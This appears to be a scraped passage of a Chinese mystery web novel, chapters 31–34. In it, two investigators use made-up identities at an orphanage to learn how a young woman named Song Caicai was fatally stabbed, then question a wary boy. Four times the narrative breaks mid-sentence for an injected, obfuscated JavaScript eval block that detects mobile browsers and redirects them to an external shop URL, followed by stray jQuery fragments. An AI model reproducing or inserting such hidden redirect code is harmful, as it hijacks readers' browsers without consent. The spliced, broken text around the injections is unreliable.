他站立着把软皮本子的内容再次从头到尾认认真真看了一遍,死死注视电脑屏幕上的搜索记录。
自己从原本的一个局外人,在不知道触碰到什么开关后升级变成局内人,因此还差点丢失一部分记忆,刘景说不慌是不可能的。
注视到双腿疲惫,刘景终于凭借着差点被清理掉的搜索记录,估摸出柳南絮为什么会活得这么沉重的主要原因,应该就是当年的事压在他心里面过不去。
而意外撞破这个诡异秘密的自己,也已经无法安然抽身出去。
车窗外声势浩大的雨水没能把莫宁从睡梦中揪出来,目的地就在眼前,柳南絮把车停稳,看着身侧熟睡的人,不禁感慨:厉害!
解开安全带,柳南絮出声道:“莫宁,醒醒,到了。”
雷阵雨那么大的动静,莫宁一次都没有被吵醒,柳南絮不过用平常的音量喊了喊,人就立马擦着哈喇子坐了起来。
这点引起柳南絮的怀疑,不过他认为的是:莫宁在装睡。
雨刷器在前面拼命地工作,雨水刚砸到玻璃上便被刷飞,莫宁透过短暂出现的空隙去辨认所在位置,勉强看到“全健福利院”的大门后解开了安全带。
虽然头很难受,但莫宁的智商没掉线,没干“拉开车门,奔进雨幕中”的蠢事,问:“你带伞了吗?”
柳南絮淡定地说:“没带。”
莫宁问的诚心诚意,柳南絮答的实实在在,但是对眼前的难题毫无用处。
由于两人都不太好意思打电话告知福利院的人他们已经到了门外,没有伞希望能来接一下,所以只能安安静静地等雨停。
好在雷阵雨来得突然,下得猛烈,去得迅速,他们的等待并不算长。
接到电话后,福利院的秦院长带着几名年轻的志愿者出来接待他们,寒暄片刻,几个人有说有笑的往里面进。
秦院长一路上都在介绍全健福利院,说这里的孩子多么多么可爱,制度多么多么安全,生活多么多么困难,希望好心人能多多注意注意这里。
楼房前面角落的空地处装置有几件娱乐设施,上方还扯了一大块遮阳布。因为才下过雨,有雨水不断从上面滴落下来。
莫宁夸赞道:“院长确实太负责了,连遮阳布这种小细节都能想到。”
做出的工作被认可,秦院长自然很高兴,谦虚地说:“毕竟都是小孩子,总归是要多多注意的。”
他们赶得巧,来的这会儿刚好碰上吃午饭的时间,秦院长热情地带
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187541|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们到食堂蹭饭。
吃了饭,莫宁自告奋勇给小孩子们表演节目,柳南絮提着扫帚边扫地,边乱逛。
一楼大厅走廊两边的墙上贴着不少照片,柳南絮把扫帚放到角落仔细观看,企图从中找到关于宋彩彩的信息或者字眼。
其实柳南絮对这种获取信息的办法并不抱有丝毫希望,毕竟宋彩彩可能会出现的时间已经过去了很多年,而眼前的版面一看就是才布置没多久的。
秦院长从楼上下来,看见柳南絮后同他打招呼,道:“柳先生。”
“秦院长,”柳南絮礼貌地笑笑,解释自己的行为,“我看这些照片都蛮有意思的。”
秦院长对柳南絮的行为见怪不怪,毕竟每位来福利院的爱心人士都会在这里驻足一会儿,大多人还会拍照留念,只是很少会有人像柳南絮这样看得专注认真,仿佛在寻找着什么。
她把心底的猜测往下压了压,但并没有完全掉以轻心,说:“这些都是近几年各种活动和生活上的照片,贴出来是为了让大家对我们这里有个基本的了解。”
柳南絮正要说点什么,有个志愿者从楼上急匆匆跑来把秦院长叫走了,听内容,大概是小朋友不愿意睡午觉非要和莫宁玩。
空荡的大厅只剩自己,柳南絮收起客套的笑容,重新把目光往墙面的照片上落,一面墙看到底,如料想中的一样毫无收获。
楼上隐约有小孩子的哭闹声,柳南絮被吵得有些头疼,迅速把注意力投入到另一边的墙面上。
看上一面墙的时候,虽然并不抱有丝毫希望,但总归还是盼望能出现奇迹,所以在最后真的什么都没有发现时,才会略显失望。
看这一面墙的时候,柳南絮什么都没有多想,干脆利落地把目的从脑海中扔出去。
有意思的事发生了,在众多张照片中,还真被他找到了宋彩彩的身影。
宋彩彩年轻的身影出现在好几张照片中,被四散分开。
这几张照片藏匿在将近百张的照片中,在有心之人的眼中却显得那么明显。
柳南絮把即将表露出来的欣喜收好,随即听见说话的声音,秦院长和莫宁闲聊着下来了。
莫宁能说会道,把秦院长逗得想笑,又生怕惊扰到好不容易才哄睡着的小孩子,只好用手捂着嘴偷笑。
见柳南絮冲自己使眼色,莫宁往墙面上瞅了一眼,角度原因,她什么都没看见。
和秦院长走到人跟前停下,莫宁装作很感兴趣的样子,把和秦院长之间正在进行的话题往照片墙上带,道:“这么多照片啊!我从这里上楼的时候就想看了,可当时什么都没干,不太好意思。”
秦院长对莫宁倒没什么疑心,介绍道:“没什么不好意思的,毕竟我们贴出来就是给爱心人士看的。”
莫宁要和柳南絮打配合,所以没多少精力往照片墙上放,柳南絮稍微动了动,确定和莫宁说话的秦院长看不到自己的动作,伸手就近冲有宋彩彩出现的一张大合照上面指了指。
31. 第三十一章
这下莫宁明白了,内心的喜悦直接流露到脸上。
正在说话的秦院长见她这么开心,还以为是自己说的话的原因,对莫宁的态度也就更加好了。
开心之余,为了不把目的显露得过于明显,莫宁开始胡言乱语进行漫长的铺垫。
“秦院长,我今天是第一次来,实不相瞒,我之前也没来过福利院,小时候家里逼学习逼得紧,上了大学离家又远,直到来这边实习,听表哥说他要来福利院献爱心,我一听,我爱心那么多,我还有才艺,也可以是吧!”
秦院长觉得莫宁说话好玩,咧着嘴等她下面的话。
对于自己的身份从“儿时玩伴”一路飞升成“表哥”,柳南絮的面色沉了又沉,同样默不作声地等着莫宁继续往下说。
“但是他没有看到我有趣的灵魂,只觉得我皮囊话太多,本来不想带我的,我嘴皮子都快磨破了,他才勉强同意。”
秦院长亲昵地拉起莫宁的手拍拍,说:“话多点也没什么不好的,小朋友们都很喜欢你,放心吧!”
“那就好,回家我就和大人得瑟。”莫宁扬起小脸,活像被表扬后得意的小朋友,“既然这样,您再给我多介绍介绍,我回家也好有得说。”
秦院长侧着身,礼貌地用手掌指了指照片,道:“这些照片加起来有百来十张多,里面的人,不光是我们这里的孩子,也有很多像您二位这样的爱心人士。”
“这么多照片,”莫宁又往对面的照片墙上看了一眼,加强了说出来的话,“都是近期的吗?”
“不是,好几年的,刚开始没有这么多,后来时间一长,慢慢往上面添加,就变成现在这么多了。”秦院长说完也看向照片墙,眼神中流露着温柔。
莫宁见时机到了,指着几张照片问:“院长,这几位姑娘出现的次数好多啊!瞧着和我年纪差不多大,都是志愿者吗?”
宋彩彩的身影混杂其中,在另外几位姑娘的掩护下,特殊性归为零。
把被莫宁指过的人挨个看了一遍,秦院长顶着很骄傲自豪的神色说:“她们不是志愿者,是从我们院里出去的孩子。”
秦院长说完,看着照片又道:“每个都是。”
莫宁趁机试探性地开口,问:“她们有被人家收养吗?”
秦院长指着几张单人照片,宋彩彩的包含在内,道:“一半一半吧!这几个姑娘在小时候就被收养了,过得很幸福。”
难怪宋彩彩的父母会在扫墓之后来这里,原来是替养女看看儿时的家。
柳南絮听见自己的猜测被证实没有多么庆幸,他在想该怎样向秦院长打探宋彩彩离世的原因。
这个想法是为了证实——宋彩彩的离世原因在她的社交圈内所有人记忆中,是否都是那一个版本。
相比起莫宁惊喜于又一个发现,柳南絮琢磨设法打探,秦院长简直毫无心眼。
像是觉得刚才的话不妥当,秦院长及时补充道:“另外几位也凭借自己的努力过得很好,她们都是很幸运的孩子,都有在好好长大,只有……”
话音到这儿没了后续,秦院长的视线一直落在宋彩彩的照片上。
“秦院长怎么了?”柳南絮终于开口说话。
秦院长受惊般躲闪过即将和柳南絮对视上的视线,道:“没事儿。”
“这姑娘,是个怎样的人?方便讲讲吗?”
柳南絮开口的时候就在脸上挂起了得体的笑容,但并不能让秦院长减少防备心。相反,秦院长已经开始思考如何能尽快请人离开。
“柳南絮,你挡到我了,往边上让让。”莫宁突然来这么一句,不仅如此,还动手推了柳南絮一把,真像是嫌他碍事一样,“你挡着我,我都没能好好细看,现在仔细看看,突然发现有点眼熟,像,像……”
莫宁说着,又往前挪了几小步,鼻尖都快碰到照片了。
两秒之后,莫宁侧过脸,冲秦院长笑了笑,解释:“实在不好意思秦院长,我这眼睛高度近视,今天隐形眼镜的度数戴的不太合适,还是看不太清,我仔细看看,总觉得这姑娘眼熟。”
秦院长的注意力又被拉到了莫宁这边,她暂时放过柳南絮,等着莫宁的后文。
看了足足有半分钟那么长时间,莫宁才撑着膝盖站直。
由于长时间盯着一个地方看,导致眼睛有些干涩,莫宁先用力闭了闭眼,抬手把手掌盖在眼睛上放松,与此同时,随口把秦院长等待的后文丢出来。
“我可算看出来了,这不是我好朋友姐姐的大学同学嘛!”
秦院长露出有点难以置信的表情,问道:“真的吗?”
“真的。”莫宁点点头,又报出名字,“这位姐姐是不是叫宋彩彩?”
秦院长的表情以肉眼可见的速度变化成激动,都快要泪目了,说:“你记得她啊!”
和说柳南絮是自己的表哥一样,称宋彩彩为“自己好朋友姐姐的大学同学”这个身份也是假的。
莫宁每编造一个身份,就会不自觉再胡乱编扯些来历加强身份的可信度。
眼下她没看秦院长,看着照片,给人一种只是在陈述往事的感觉。
“之前我好朋友到我家玩,她姐姐打来视频电话查岗,手机角度问题,舍友也入了镜。”
“我好朋友觉得她长得很漂亮,就拉着我和人一起聊天,聊天过程中问了名字,说叫宋彩彩。”
“我和好朋友就都叫她彩彩姐。”
“从那天开始以后,我好朋友每次和她姐姐打视频电话都会找彩彩姐聊天,我在场的时候也会和她一起玩。”
“但,有点可惜,那都已经是好几年前的事了。”
故事编完,莫宁慢慢给出了最后的总结。
“所以记得倒是记得,只不过时间停留的有点长,之前也只是通过手机聊的天,屏幕外从没见过面,所以差点没能认出来。”
秦院长被莫宁的话彻底说服,眼泪终于“啪嗒啪嗒”地落了下来。
在秦院长伤感的时候,莫宁毫不体贴地开口:“彩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187542|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彩姐现在过得怎么样?我还挺想和她见见面的。”
这话说的柳南絮相当满意,满意直接体现在了行动上。他把莫宁挽在胳膊上的外套拿到自己的手上,帮她减轻身上的重量。
秦院长在伤感中陷得极深,没注意到二人的小动作。
和一楼大厅只隔着一扇玻璃门的外面,雨后天晴出现的那道扇形彩虹悄悄消失,它自电闪雷鸣后携带希望而来,窥探过爱意满满的人世间放心远走。
在地面上躺平的雨滴冲着天空招手,它们骄傲,它们得意,沾染了满身污渍又怎样,它们依旧为战胜厚重的乌云放声高歌。
秦院长不比彩虹,没办法很好地释怀;不比雨滴,做不到可以忽略伤亡。
她有私心,所以回忆在她心中显得弥足珍贵。
“她不在了。”
秦院长的回答迟了很久,好在还是来了。
明明知道答案,莫宁和柳南絮的内心还是被触动到了,所流露出来的感情全是真情实感。
“不在了是指……”莫宁小心翼翼地顿了顿,“您可以和我讲讲到底发生了什么吗?这个消息对我来说实在是太突然了,我这,这一点心理准备都没有。”
莫宁的请求完全合理,于是秦院长亲手把回忆的口子撕裂得更大,不顾伤痛,尽可能让宋彩彩的事迹被更多的人知道。
五年前,宋彩彩大学毕业那天,因为在省外上学,回家需要提前抢车票。
由于都是回家的学生,车票实在不好买。
宋彩彩瞪着眼睛好不容易抢到了一张,但发车时间太晚,她提着大包小包下车时已经快后半夜。
本来宋彩彩的养父母担心姑娘自己一个人遇到什么危险,说要去车站接她。
可宋彩彩知道父母工作忙,起得早,晚上向来不到十点就准时上床睡觉。
不忍心他们折腾,宋彩彩果断拒绝,还笑嘻嘻地称自己只是看起来柔弱,有危险肯定会亮出肌肉把敌人全部打倒,说不定还会成为保护别人的大英雄。
养母表示不指望她当什么保护别人的大英雄,只要能保护好自己就可以了。
之后养母没执意去车站接宋彩彩,想着孩子迟早要长大,早点学着独当一面也好。
养父在一旁不愿意了,嚷嚷说自己的小棉袄长得那么漂亮,万一真遇到危险怎么办?
为了让三方都满意,宋彩彩提出一个解决办法——从下车到回家,途中一直和家里面通着电话。
确实算是很好的折中方法,三票通过此方案。
那天天气很好,白天阳光和煦,晴空万里,晚上清风微拂,漫天星河。
宋彩彩按照商定的方法,下了车给家里打通电话,从车站到物流区门店不算远,所以她就没再打车。
养父自然又是第一时间站出来反对,他念叨宋彩彩不要想着省几块钱,没必要。
宋彩彩的确是为了省钱,但嘴硬不承认,称是因为坐火车时间太长腰酸背疼,正好走走,反正离家没几步路。
32. 第三十二章
养母嘴上让养父消停点,别总管孩子,手上倒是拿着手机给宋彩彩转了些钱。
宋彩彩腾不出手看手机,打电话是戴的耳机,所以不知道养母的小动作。
三个人一边打着电话,一边期盼着见面,没想到意外真的发生了。
宋彩彩在南巷街意外撞见有个黑衣人在行凶,眼看刀刃已经划破小孩子的脖子,所谓路见不平一声吼,宋彩彩远远就大喝一声,妄图让黑衣人收敛些,害人性命不要这么大胆。
没想到黑衣人不是被吓大的,他极为镇定,把刀刃在小孩子脖子上抵得更深了,甚至还嚣张地冲宋彩彩道:“你过来,换他。”
听男人的声音,年龄大概在四十岁左右。
这种事不论发生在谁的眼前,都不会轻易上当,宋彩彩也不会。
手机的电话一直没挂断,估摸父母那边已经报警往这边赶了,所以宋彩彩想和黑衣人打迂回战拖延时间。
被劫持的小男孩原本已经被吓昏过去,这会儿突然挣扎着醒来,他知道自己脖颈间正流淌着血,兴许是感觉到了生命的流逝,不可避免地害怕起来。
因为还被控制着,心里面又实在怕得很,小男孩抬起胳膊往前抓,冲着宋彩彩糯糯地喊道:“姐姐,救救我,我好困。”
宋彩彩被不少人喊过“姐姐”,也喊过不少人“姐姐”,所以不管对方认不认识,她一听到这个称呼,责任感瞬间窜出来。
“你放开他,我过去。”
这是宋彩彩的妥协,她要像说出去的话那样,成为保护别人的大英雄。
脆弱的耳机线把父母焦急的制止传过来,为了避免被黑衣人发现自己一直通着电话,宋彩彩在迈出脚步之前先假装害怕撩头发,实际悄悄把耳机从耳朵上取了下来。
耳机脱离耳朵的瞬间,世界在宋彩彩的耳朵里都变得寂静,寂静到可怕。
黑夜不再单纯,它从幼犬形态眨眼间长大,不光如此,还将你视作唯二值得入口品尝的食物。
前来支援的各方人士还在赶路,它却已经等不及要饱餐一顿了。
和黑衣人的距离缩短一多半后,黑衣人手起刀落,重重在小孩子的脖子上划过一道。
事情发生的太过突然,宋彩彩完全没有防备,等反应过来要逃跑的时候肚子上已经被刺了一刀。
原来黑衣人早就发现她在和别人打着电话。
从出生到现在,宋彩彩受过的伤大大小小加在一起多得数都数不清,但还真是第一次受这么重的伤。
她不服气,恐惧被怒火连连击退。
宋彩彩咬牙忍着疼,伸手想要扯掉黑衣人包裹严实的面罩和帽子,胳膊还没有抬起来,同一个位置,黑衣人又在那里狠狠捅了几下。
对方捅过来的刀子每一下都用足了力气,宋彩彩实在撑不住,意识散乱,摔倒在地。
黑衣人毫不恋战,杀了人立刻转身就走。
等宋彩彩的养父母赶到的时候,见到的只有自己气喘吁吁的姑娘,和一具毫不相识的小男孩的尸体。
宋彩彩像是失去了听觉,只拼劲全力仰着头,目光死死盯向不远处的路口,胳膊还在努力往前伸,仿佛是要抓什么。
惨烈的场面把养父母吓得双双跌倒在地,哆哆嗦嗦掏出手机打急救电话,随后着急忙慌又报了一次警。
等待救援的过程,两位长辈死死按着宋彩彩的伤口,希望这样可以帮自己好不容易得来的女儿争取更多的抢救时间。
天气确实很好,只是搭配结局毫不应景。
送到医院一通抢救,宋彩彩还是离开了。
走之前,爱意致使她强撑着对养父母表达感谢和牵挂。
“谢谢爸爸妈妈给了我第三次生命,在一起生活了这么多年,实在给您们添了不少麻烦,不过,今后还请您二位照旧好好吃饭,好好睡觉,保重好身体,不能给你们尽孝,女儿实在抱歉。”
成为大英雄的人一点也不合格,悲壮地倒在了距离家门不过百米远的地方。
至于那个小男孩,救护车赶到之前就已经断了气。
往事回忆完毕,莫宁听到半途真的跟着秦院长落下了眼泪,柳南絮低着头,情绪波动倒没那么大。
站得时间挺长了,秦院长因情绪上头需要独处平复心情,同莫宁和柳南絮道别后在一楼大厅左转去了办公室。
楼上的小孩子午睡很安静,为了不吵到他们,大人们做什么都压着力道,以至于整个福利院都陷入了睡眠状态。
莫宁和柳南絮对视一眼,默契地往玻璃门外走去。
乌云散开,阳光刺眼,即便现在比出门时候穿的衣服少了三件,莫宁还是觉得闷得慌,不过有所收获,热出汗也算值了。
想起刚才同柳南絮打的配合,莫宁笑了笑,由衷夸赞:“合作伙伴,配合得不错。”
“呵!”柳南絮冷着声音说,“客气了,表妹。”
“害!故事情节需要,故事情节需要,别小心眼,尽管放心好了,你永远都是我最好的儿时玩伴。”莫宁表情坚定到就差拍着胸脯保证了。
其实莫宁的玩笑话不理会就行,柳南絮偏偏生出逗逗她的想法,问:“你有几个少年玩伴?”
“要是没记错的话,”莫宁抓了抓头发,不怎么能确定似的说,“就你一个?”
柳南絮险些做出“翻白眼”这种不文明的行为,在心里吐槽:那你还有脸说。
莫宁不知道柳南絮的心理活动,但看样子,不像是能再继续往下乱开玩笑了,所以把话题换到线索上。
“你觉得秦院长骗我们了没有?”
就事论事,虽然宋彩彩的养父母告诉莫宁有用的信息很少,而且当时说话速度还很快,但是,提取出来和秦院长的版本超强相似,不过是把中间的步骤、过程都省略了,只有开头和结尾。
所以,要么宋彩彩离世的原因确实被改变成了“见义勇为英勇牺牲”,要么就是两边的大人早就串通好撒的谎。
莫宁比较倾向于前者,柳南絮的想法和她一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187543|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所以摇摇头。
“既然这样,有了新线索你为什么还不高兴?”莫宁实在是累了,看见有石凳立马屁颠屁颠地跑过去。
见她要坐,柳南絮想到什么正想开口提醒,没想到莫宁的动作比他要快。
莫宁刚坐下,整个人就弹了起来。石凳子上居然有积水!
她的行为很搞笑,坐在对面的小孩表现得依旧相当拽,臭着一张脸看向莫宁。
衣服湿了,莫宁没有着急,而是把视线放在对面的小孩脸上。
隐隐觉得,这小孩和死亡校车里面的一个受害者长得有点像。
柳南絮把莫宁的外套递过去,建议道:“你去找秦院长帮帮忙,我在这里等你。”
莫宁这才愣愣地移开视线点点头,转身走开进了玻璃门内。
只剩两个人,小孩的目光自然而然转移到了柳南絮身上,他沉默着,眼神中满满都是犹豫。
午休还没有结束,小孩跑到这儿干什么?
柳南絮任由对方打量,片刻开口问:“小朋友,你坐的石凳上面没水吗?”
小孩没回答,只是从口袋里面掏出皱巴巴的卫生纸递给柳南絮。
柳南絮道了声谢,接过后蹲下擦拭石凳。
他手上的动作还没有结束,小孩突然拽巴巴地说:“我都听到了。”
“听到什么了?”柳南絮停下手上擦拭的动作,以蹲着的姿势,很耐心地询问。
小孩撇了撇嘴,似是不满柳南絮“揣着明白装糊涂”的态度,又丢出句:“也全部看到了。”
这次小孩说完,柳南絮只静静地看了他几秒,随后把头低下继续清理石凳。
小孩没再说话,也不着急,只是看着蹲在地上忙碌的大人。
直到把石凳整理干净,柳南絮起身把卫生纸丢到不远处的垃圾桶内,回来坐下礼貌地开口问:“你是想和我说些什么吗?”
“你们两个来这里到底是为了什么?”小孩反问,语气中透露着防备。
既然照片墙上有好几张宋彩彩的照片,说明她即便被人收养,还是会经常回来看看,也就是说,院里面的小孩子,很有可能会有人知道她。
在柳南絮分析利弊的这段时间里,小孩往楼房二楼瞅了一眼,大概是赶时间,又主动开口:“你们来,是为了打听彩彩姐姐对不对?”
“对,所以你……”
一道声音从不远处传来,把柳南絮想说的话打断。
一个穿着红色小马夹的志愿者焦急地赶过来,说:“小福,你又不睡觉乱跑。”
小孩毫无被抓包的反应,只是站起来一声不吭地往前走,脚步倒称不上快,像是有意地在等身后的人追上去。
志愿者冲柳南絮打了声招呼,快走几步追上小孩。
柳南絮的目光跟过去,看见志愿者笑着和小孩说话,同时还想去牵他的手。
在一大一小两个手掌即将触碰到一起之前,小手迅速避开,紧接着小孩停下脚步,仰头冷冷地看着志愿者。
33. 第三十三章
志愿者是个小姑娘,看着是和莫宁差不多大的年纪,在小孩的注视下,洋溢的热情渐渐退散,站在那里只剩尴尬。
见状,柳南絮走过去,礼貌地提出询问:“不好意思,打扰一下,请问我可以和他聊聊天吗?”
小孩看了柳南絮一眼,再次朝着石凳走去。见他这样,志愿者点点头,在柳南絮的一声道谢中匆忙离开。
对于小孩刚才的反应,柳南絮大概猜出点什么,只是对他不够了解,不能十分确定。
“先做个自我介绍吧!”柳南絮露出笑容,伸出右手,“我叫柳南絮。”
小孩自动无视伸到面前的宽大手掌,报了姓名:“我叫福安安。”
这个姓氏让柳南絮卡了一下壳,因为之前也到福利院当过志愿者,他大概了解过各地的福利院,有的地方福利院里面孩子的姓氏就统一为“福”。
出发点是好的,但是后来由于这个姓氏不仅容易让人自动联想出这些孩子的身世,还容易激出孩子的自卑心理,所以这些年大多福利院都更换了取姓的方式。
全健福利院同样也是。
今天秦院长很详细地介绍了这里,其中包括孩子们的姓氏来源。
如果孩子知道自己的姓氏且不想更改,可以继续使用。如果孩子想要自己挑选姓氏,可以自己挑选。如果受各种因素影响没办法自己做主,就按照百家姓的顺序依次向下轮,但会刻意跳过有特殊寓意的姓氏。
在这种方式出现之前,全健福利院送来的孩子都统一姓“全”。
眼前的小男孩怎么看都赶上了改革之后的取姓方式,那么,这个姓氏是他自己挑的?
柳南絮找了种比较委婉的询问方式,道:“你喜欢自己的名字吗?”
“我自己取的。”福安安的说话语气很平静,“我知道这个姓氏容易让人多想,但是这个姓氏没有错。”
他的话,让人产生一种恍惚感,就像一片湖水中明明没有风吹,却有层层涟漪荡起。
柳南絮沉默良久,终于开口:“你愿意和我讲讲你的彩彩姐姐吗?”
这次轮到福安安沉默了,确切点说,他是在相当认真地思考。
“愿……”
想了很久,福安安有了答案,可刚吐出一个字,又紧急停下,只见他眉眼冷了几分,是恶意的疏离。
“不愿意。”
柳南絮笑了笑,甚是不在意般地又问:“可以告诉我理由吗?”
他看得出,事关宋彩彩,福安安内心有很强烈的分享欲,但是在内心中更为猖狂的“防备心”把“分享欲”死死拦下,所以要想得到线索,就必须获得小孩的信任。
只是福利院的孩子大多数都有戒备,像福安安这样的不乏少数。也就是说,想获得他的信任,略难。
福安安没有回答柳南絮的问题,反问:“你为什么要打听彩彩姐姐?你和她什么关系?”
实话自然是不能说的,就算说了,小孩也不一定信,还极有可能会觉得自己莫名其妙,柳南絮只好学着莫宁编故事。
一串不成熟的故事从脑海中飘过,柳南絮从中抽取一条,嘴巴在开合之间复刻了出来。
“我是她的同事。”
这个理由,似乎莫宁用过,而且还被宋彩彩的家属戳破了。
柳南絮几乎是在话音落下就后悔了,他实在没想到自己竟然能犯这么低级的错误。
福安安的反应要比宋彩彩的家属镇定很多,用一种看傻子的眼神看着眼前的大人,说:“我知道你是在心理咨询工作室上班的,彩彩姐姐是在太阳花幼儿园上班的,你们怎么可能是同事?”
“我在……”柳南絮打算称自己在心理咨询工作室上班之前是在太阳花幼儿园上班的,所以是宋彩彩的同事。
这个完美的理由刚说了两个字,柳南絮狠狠意识到了什么,原本的话被刹在嘴边,仅在眨眼中烟消云散。
“你知道你的彩彩姐姐是在太阳花幼儿园上班的?”柳南絮终于皱起了眉头,他迫切想要听到福安安的回答。
不知道为什么,福安安相当满意柳南絮的反应。
此时,楼房内远远传来孩子们的嬉闹声,应该是午休结束在起床。
有了声音,福利院充满了活力,福安安在这样的氛围中冲柳南絮露出见面之后的第一个笑容。
他笑的不怎么自然,却预示着一个好兆头。
“我一直都知道。”
简短的一句话,让柳南絮感到呼吸有些困难,他知道自己需要追问些什么,但又一个问题都想不出来。
双方再次陷入了沉默。
这种状态没能持续太长时间,因为秦院长和莫宁走过来了。
见到福安安,秦院长并没有很惊讶,而是很温柔地弯下腰,问:“小福,大家都起床在做游戏了,你不去和他们一起玩吗?”
福安安直接无视秦院长,双手往兜里一插,抬腿快步往前面走。
秦院长像是习惯了似的,对柳南絮解释道:“我听小林那姑娘说了,辛苦你帮忙照看孩子,小福他情况有些特殊,请见谅哈!”
也许是柳南絮帮忙照顾了福安安,秦院长此时对他的态度已经没有了明显的防备。
柳南絮想了一下,猜秦院长口中的“小林”大概指的就是在午睡期间来找福安安的那位志愿者,便说:“小福这孩子挺乖的,谈不上辛苦。”
秦院长干巴巴地笑了几声,显然是不太相信柳南絮的话,只觉得他是在客气。
柳南絮自然敏锐地发觉秦院长话里面的重点,问:“小福他的情况哪里特殊了?”问完之后又补充了一句,“方便和我们讲讲吗?”
像柳南絮提出的类似问题秦院长听得多了,所以很快就回答道:“是这样的,我们必须要保障孩子们的隐私,在透露孩子的情况之前,是要经过长时间的观察的,所以很抱歉。”
拒绝并没有让柳南絮气馁,反而笑着说:“确实是我冒昧了,实在不好意思。”
进院
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187544|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时间是有限制的,秦院长看了一下手机,这会他们预约的时间已经快结束了。
柳南絮和莫宁从她看时间的动作中立刻会意,不等人开口,自己先提出再见。
由于地方比较偏僻,没什么车辆经过,全健福利院大门外的柏油路依旧平坦,两旁栽种的杨树枝叶稀稀疏疏的,时不时有麻雀在上面蹦跶。
莫宁不知道后面发生的事,到车上后抱着外套深深吐出一口气,庆幸道:“幸好找秦院长借了吹风机。”
由于自己的思路都还没有捋顺,柳南絮不动声色地把心底的种种疑惑藏好,没事人一样把副驾驶上的人安全送回家。
独自到家时刚好赶上吃晚饭,许静和柳洪兵看出儿子状态不好,两人暗中互相使了半天眼色,在加密通话中猜测“估计是工作上的事”。
倒也不是没有依据,毕竟柳南絮今天早上出门没和他们说,平日里柳南絮也没进行过什么娱乐活动,除了工作还是工作,连节假日都选择加班,得出的结论可以称得上是必然。
既然是工作上的事,许静和柳洪兵便什么都没说。
一是因为他们都知道儿子的工作性质,二是即便问了柳南絮也不一定说,说了他们也不一定懂。
吃过饭,许静和柳洪兵照旧下楼瞎溜达,柳南絮顺手把厨房整理好进入书房。
好几天没有碰记录的软皮本子,突然要用居然还找不到了。
柳南絮难得感到有些烦躁,抓了抓头发,从书架上又找了一个新本子开始整理。
依照从秦院长那里得来的线索,宋彩彩确实没有步入工作,更没有和太阳花幼儿园牵扯上任何关系,去世原因也发生了更改。
柳南絮飞快地记录着,字体潦草,生怕忘了什么似的。
一句话写完,他正要往下接着写,突然想起什么,又在最前面添上“五年前”这几个字。
三个字写完,柳南絮总算明白哪里不对劲了。
之前他推断出来的死亡校车出事的时间点是在五年前,也就是说,那个时候宋彩彩已经工作了,可是在秦院长的记忆中,宋彩彩在五年前才刚刚大学毕业。
那么,到底是他推断出来的时间点有问题,还是秦院长记错了时间?
从秦院长对宋彩彩的态度上来看,记错时间的概率实在太小。
柳南絮把之前的线索全都在脑海中重新整理了一遍,想起宋彩彩的墓碑,上面的去世时间同样是五年前。
所以,秦院长的确没有记错时间,可能性只剩一个了。
偏偏柳南絮并不认可如此显而易见的答案,倒也不是自大,实在是因为觉得还是有地方不太对。
实在想不明白,他只好先把直觉往旁边放放,提笔继续往下梳理。
福安安知道“宋彩彩在太阳花幼儿园工作”这件事,还称自己一直都知道,是不是说明在他的记忆中,宋彩彩在五年前去世的时候已经步入了工作?又是不是可以理解为,他知道宋彩彩去世的真正原因?
34. 第三十四章
柳南絮把疑惑点记好,又开始回想福安安的一举一动。
福利院的小孩子大多数比较缺爱,所以有的孩子就比较希望大人的抚摸,讨厌别人触碰的孩子也有,但占比相对较少。
福安安的表现应该属于后者,但他流露出来的疏离感并不是对任何人都一样。
当志愿者来喊他回去的时候,福安安没有任何不满,就算提前往前走,步子也很小,直到志愿者想要牵他的手,福安安才表现出极为明显的疏离感。
而秦院长不过是同他说了几句话,不论是音调还是态度都没有丝毫不妥,福安安的表现甚至都可以称得上是“厌恶”。
